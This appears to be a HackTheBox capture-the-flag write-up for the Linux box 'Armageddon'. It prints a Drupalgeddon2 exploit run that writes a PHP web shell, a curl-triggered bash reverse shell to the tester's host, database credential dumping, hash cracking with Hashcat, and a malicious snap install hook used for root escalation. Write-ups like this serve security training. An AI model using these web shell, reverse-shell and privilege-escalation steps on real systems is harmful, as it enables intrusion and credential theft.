|
| 1 | +# Armageddon - Linux (Easy) |
| 2 | + |
| 3 | +Armageddon was a straightforward box that involved a Drupalgeddon2 exploit which is quite common. I was able to upload a webshell and run commands to get initial access. Once I got initial access, I was able to access the database where the admin hash, once cracked was reused. To escalate privileges to root, I was able to exploit the fact that the admin user is able to install snap packages as root. |
| 4 | + |
| 5 | +## Enumeration |
| 6 | + |
| 7 | +I began Enumeration with a `Rustscan` scan on the target, picking up open ports which were then fed to `Nmap` for a more thorough scan |
| 8 | + |
| 9 | +``` |
| 10 | +rustscan -a $machine_IP -- -A -sV -sC -T4 -v |
| 11 | +
|
| 12 | +-sC - Script Scan |
| 13 | +-sV - Version Scan |
| 14 | +-T4 - Timing Template |
| 15 | +-A - Aggresive Scan Options |
| 16 | +-vv - Verbosity level |
| 17 | +
|
| 18 | +.----. .-. .-. .----..---. .----. .---. .--. .-. .-. |
| 19 | +| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | |
| 20 | +| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | |
| 21 | +`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' |
| 22 | +The Modern Day Port Scanner. |
| 23 | +________________________________________ |
| 24 | +: https://discord.gg/GFrQsGy : |
| 25 | +: https://github.com/RustScan/RustScan : |
| 26 | + -------------------------------------- |
| 27 | +Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan |
| 28 | +
|
| 29 | +[~] The config file is expected to be at "/root/.rustscan.toml" |
| 30 | +[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers |
| 31 | +[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. |
| 32 | +Open $machine_IP:22 |
| 33 | +Open $machine_IP:80 |
| 34 | +[~] Starting Script(s) |
| 35 | +[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") |
| 36 | +
|
| 37 | +PORT STATE SERVICE REASON VERSION |
| 38 | +22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0) |
| 39 | +
|
| 40 | +80/tcp open http syn-ack ttl 63 Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |
| 41 | +| http-robots.txt: 36 disallowed entries |
| 42 | +| /includes/ /misc/ /modules/ /profiles/ /scripts/ |
| 43 | +| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt |
| 44 | +| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |
| 45 | +| /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php |
| 46 | +| /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/ |
| 47 | +| /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/ |
| 48 | +| /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/ |
| 49 | +|_/?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/ |
| 50 | +|_http-generator: Drupal 7 (http://drupal.org) |
| 51 | +|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D |
| 52 | +|_http-title: Welcome to Armageddon | Armageddon |
| 53 | +| http-methods: |
| 54 | +|_ Supported Methods: GET HEAD POST OPTIONS |
| 55 | +|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |
| 56 | +
|
| 57 | +$databases = array ( |
| 58 | + 'default' => |
| 59 | + array ( |
| 60 | + 'default' => |
| 61 | + array ( |
| 62 | + 'database' => 'drupal', |
| 63 | + 'username' => 'drupaluser', |
| 64 | + 'password' => 'CQHEy@9M*m23gBVj', |
| 65 | + 'host' => 'localhost', |
| 66 | + 'port' => '', |
| 67 | + 'driver' => 'mysql', |
| 68 | + 'prefix' => '', |
| 69 | +``` |
| 70 | + |
| 71 | +This resulted in two ports - 22 (SSH) and 80 (HTTP). I initially targeted Port 80 as SSH isn't usually a priority (I usually try password guessing - admin, root, box name and default passwords and they didn't work this time around). However, the Nmap scan actually pulled down the `drupaluser` credential with the associated password which I will attempt to login as shortly. |
| 72 | + |
| 73 | +## Port 80 (HTTP) |
| 74 | + |
| 75 | +I then ran Gobuster to full enumerate HTTP and any sub-directories that were hidden. |
| 76 | + |
| 77 | +``` |
| 78 | +gobuster dir -u $machine_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,txt,css,js |
| 79 | +=============================================================== |
| 80 | +Gobuster v3.1.0 |
| 81 | +by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) |
| 82 | +=============================================================== |
| 83 | +[+] Url: http://$machine_IP |
| 84 | +[+] Method: GET |
| 85 | +[+] Threads: 10 |
| 86 | +[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |
| 87 | +[+] Negative Status codes: 404 |
| 88 | +[+] User Agent: gobuster/3.1.0 |
| 89 | +[+] Extensions: php,txt,css,js |
| 90 | +[+] Timeout: 10s |
| 91 | +=============================================================== |
| 92 | +2022/02/25 19:51:10 Starting gobuster in directory enumeration mode |
| 93 | +=============================================================== |
| 94 | +/index.php (Status: 200) [Size: 7440] |
| 95 | +/misc (Status: 301) [Size: 233] [--> http://$machine_IP/misc/] |
| 96 | +/themes (Status: 301) [Size: 235] [--> http://$machine_IP/themes/] |
| 97 | +/modules (Status: 301) [Size: 236] [--> http://$machine_IP/modules/] |
| 98 | +/scripts (Status: 301) [Size: 236] [--> http://$machine_IP/scripts/] |
| 99 | +/sites (Status: 301) [Size: 234] [--> http://$machine_IP/sites/] |
| 100 | +/includes (Status: 301) [Size: 237] [--> http://$machine_IP/includes/] |
| 101 | +/install.php (Status: 200) [Size: 3172] |
| 102 | +/profiles (Status: 301) [Size: 237] [--> http://$machine_IP/profiles/] |
| 103 | +/update.php (Status: 403) [Size: 4057] |
| 104 | +/README.txt (Status: 200) [Size: 5382] |
| 105 | +/robots.txt (Status: 200) [Size: 2189] |
| 106 | +/INSTALL.txt (Status: 200) [Size: 17995] |
| 107 | +/cron.php (Status: 403) [Size: 7388] |
| 108 | +/LICENSE.txt (Status: 200) [Size: 18092] |
| 109 | +/CHANGELOG.txt (Status: 200) [Size: 111613] |
| 110 | +/xmlrpc.php (Status: 200) [Size: 42] |
| 111 | +/COPYRIGHT.txt (Status: 200) [Size: 1481] |
| 112 | +/UPGRADE.txt (Status: 200) [Size: 10123] |
| 113 | +/authorize.php (Status: 403) [Size: 2824] |
| 114 | +``` |
| 115 | + |
| 116 | +The Nmap scan reported that the target was running version 7 but `changelog.txt` was more helpful as it provided valuable information about the specific version of Drupal 7 and I was able to enumerate information about latest security patches. |
| 117 | + |
| 118 | + |
| 119 | + |
| 120 | +Researching that particular version of Drupal provided more information about the [Drupalgeddon2](https://unit42.paloaltonetworks.com/unit42-exploit-wild-drupalgeddon2-analysis-cve-2018-7600/) exploit. The webpage on port 80 involved creating an account but it also required verifying via email which is a bit tricky with HackTheBox. However, since I had the granular version number, I was able to proceed. I was able to query a relevant exploit with `Searchsploit` but in this case, the results were slightly elusive and I ended up resorting to a [Github PoC](https://github.com/dreadlocked/Drupalgeddon2). |
| 121 | + |
| 122 | +## Gaining User Foothold |
| 123 | + |
| 124 | +Having installed Highline, a dependency for the script to run, I was able to get a break through |
| 125 | + |
| 126 | +``` |
| 127 | +gem install highline |
| 128 | +
|
| 129 | +ruby drupalgeddon2.rb http://$machine_IP |
| 130 | +[*] --==[::#Drupalggedon2::]==-- |
| 131 | +-------------------------------------------------------------------------------- |
| 132 | +[i] Target : http://$machine_IP/ |
| 133 | +-------------------------------------------------------------------------------- |
| 134 | +[+] Found : http://$machine_IP/CHANGELOG.txt (HTTP Response: 200) |
| 135 | +[+] Drupal!: v7.56 |
| 136 | +-------------------------------------------------------------------------------- |
| 137 | +[*] Testing: Form (user/password) |
| 138 | +[+] Result : Form valid |
| 139 | +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - |
| 140 | +[*] Testing: Clean URLs |
| 141 | +[!] Result : Clean URLs disabled (HTTP Response: 404) |
| 142 | +[i] Isn't an issue for Drupal v7.x |
| 143 | +-------------------------------------------------------------------------------- |
| 144 | +[*] Testing: Code Execution (Method: name) |
| 145 | +[i] Payload: echo DPDCPLVM |
| 146 | +[+] Result : DPDCPLVM |
| 147 | +[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO! |
| 148 | +-------------------------------------------------------------------------------- |
| 149 | +[*] Testing: Existing file (http://$machine_IP/shell.php) |
| 150 | +[i] Response: HTTP 404 // Size: 5 |
| 151 | +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - |
| 152 | +[*] Testing: Writing To Web Root (./) |
| 153 | +[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php |
| 154 | +[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } |
| 155 | +[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!! |
| 156 | +-------------------------------------------------------------------------------- |
| 157 | +[i] Fake PHP shell: curl 'http://$machine_IP/shell.php' -d 'c=hostname' |
| 158 | +armageddon.htb>> id |
| 159 | +uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0 |
| 160 | +``` |
| 161 | + |
| 162 | +Since I was able to demonstrate that the `curl` command could be modified to leak information, I was able to extend this further |
| 163 | + |
| 164 | + |
| 165 | + |
| 166 | +``` |
| 167 | +curl -G --data-urlencode "c=bash -i >& /dev/tcp/$HTB_IP/443 0>&1" 'http://$machine_IP/shell.php' |
| 168 | +``` |
| 169 | + |
| 170 | +I picked this up with a netcat listener and was logged in as the `Apache` entity |
| 171 | + |
| 172 | +``` |
| 173 | +nc -lvnp 443 |
| 174 | +listening on [any] 443 ... |
| 175 | +connect to [$HTB_IP] from (UNKNOWN) [$machine_IP] 40240 |
| 176 | +bash: no job control in this shell |
| 177 | +bash-4.2$ id |
| 178 | +id |
| 179 | +uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0 |
| 180 | +``` |
| 181 | + |
| 182 | +Despite being unable to access the `/home` directory due to insufficient permissions, I was able to read the `/etc` file and determine that there was a legitimate user named `Brucetherealadmin` |
| 183 | + |
| 184 | + |
| 185 | + |
| 186 | +I went to `/sites/default/` and opened `settings.php` which had the MySQL credentials identified earlier in the Nmap scan results |
| 187 | + |
| 188 | +I was able to pull available tables with the following command |
| 189 | + |
| 190 | +``` |
| 191 | +mysql -e 'show tables;' -u drupaluser -p 'CQHEy@9M*m23gBVj' drupal |
| 192 | +``` |
| 193 | + |
| 194 | +Among the tables, one that interested me was `users`. I queried all the users in there and the only one that was generated was `Brucetherealadmin` |
| 195 | + |
| 196 | +``` |
| 197 | +bash-4.2$ mysql -e 'select * from users;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal |
| 198 | +<* from users;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal |
| 199 | +uid name pass mail theme signature signature_format created access login status timezone languagepicture init data |
| 200 | +0 NULL 0 0 0 0 NULL 0 NULL |
| 201 | +1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt [email protected] filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 [email protected] a:1:{s:7:"overlay";i:1;} |
| 202 | +``` |
| 203 | + |
| 204 | +I copied the hash to a text file and ran Hashcat on it |
| 205 | + |
| 206 | +``` |
| 207 | +hashcat -a 0 -m 7900 hash.txt /usr/share/wordlists/rockyou.txt |
| 208 | +$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo |
| 209 | + |
| 210 | +Session..........: hashcat |
| 211 | +Status...........: Cracked |
| 212 | +Hash.Mode........: 7900 (Drupal7) |
| 213 | +Hash.Target......: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt |
| 214 | +Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) |
| 215 | +``` |
| 216 | + |
| 217 | +Upon logging in via SSH, I was able to grab the user flag and also identified an attack vector to privesc |
| 218 | + |
| 219 | +``` |
| 220 | +ssh brucetherealadmin@$machine_IP |
| 221 | +[brucetherealadmin@armageddon ~]$ id |
| 222 | +uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 |
| 223 | +
|
| 224 | +[brucetherealadmin@armageddon ~]$ whoami |
| 225 | +brucetherealadmin |
| 226 | +
|
| 227 | +[brucetherealadmin@armageddon ~]$ pwd |
| 228 | +/home/brucetherealadmin |
| 229 | +
|
| 230 | +[brucetherealadmin@armageddon ~]$ ls |
| 231 | +user.txt |
| 232 | +[brucetherealadmin@armageddon ~]$ cat user.txt |
| 233 | +22d***************************** |
| 234 | +
|
| 235 | +[brucetherealadmin@armageddon ~]$ sudo -l |
| 236 | +
|
| 237 | +User brucetherealadmin may run the following commands on armageddon: |
| 238 | + (root) NOPASSWD: /usr/bin/snap install * |
| 239 | +``` |
| 240 | + |
| 241 | +## Privilege Escalation to Root |
| 242 | + |
| 243 | +This was a very frustrating process and ended up taking far too long for an **easy** box but I ended up learning a lot out of it! [GTFO Bins](https://gtfobins.github.io/gtfobins/snap/) was my starting point for this process. A pre-requisite to generating the package is having fpm and I was able to install it with gem |
| 244 | + |
| 245 | +``` |
| 246 | +gem install fpm |
| 247 | +fp --version |
| 248 | +``` |
| 249 | + |
| 250 | +I started by copying and running the default package |
| 251 | + |
| 252 | +``` |
| 253 | +COMMAND=id |
| 254 | +cd $(mktemp -d) |
| 255 | +mkdir -p meta/hooks |
| 256 | +printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install |
| 257 | +chmod +x meta/hooks/install |
| 258 | +fpm -n xxxx -s dir -t snap -a all meta |
| 259 | +``` |
| 260 | + |
| 261 | +Running the command resulted in a `xxx_1.0_all.snap` file and redirected me to a `/tmp` sub-directory |
| 262 | + |
| 263 | + |
| 264 | + |
| 265 | +Following this, I opened a Python Server on Port 80 and picked it up from the victim through a `curl` command |
| 266 | + |
| 267 | +``` |
| 268 | +$ curl 10.10.14.10/xxxx_1.0_all.snap -o test.snap |
| 269 | +
|
| 270 | +[brucetherealadmin@armageddon ~]$ ls |
| 271 | +test.snap user.txt |
| 272 | +[brucetherealadmin@armageddon ~]$ sudo snap install test.snap --dangerous --devmode |
| 273 | +``` |
| 274 | + |
| 275 | +Having run the `curl` command, I renamed the output to `test.snap`. After this, I was able to execute it to verify that `$COMMAND` produced the output of the id command. |
| 276 | + |
| 277 | +``` |
| 278 | +sudo snap install test.snap --dangerous --devmode |
| 279 | +``` |
| 280 | + |
| 281 | +Seeing this being successfully tested, I was able to extend this to do a file-read of the `root.txt` flag. |
| 282 | + |
| 283 | + |
| 284 | + |
| 285 | +## Cert |
| 286 | + |
| 287 | + |
0 commit comments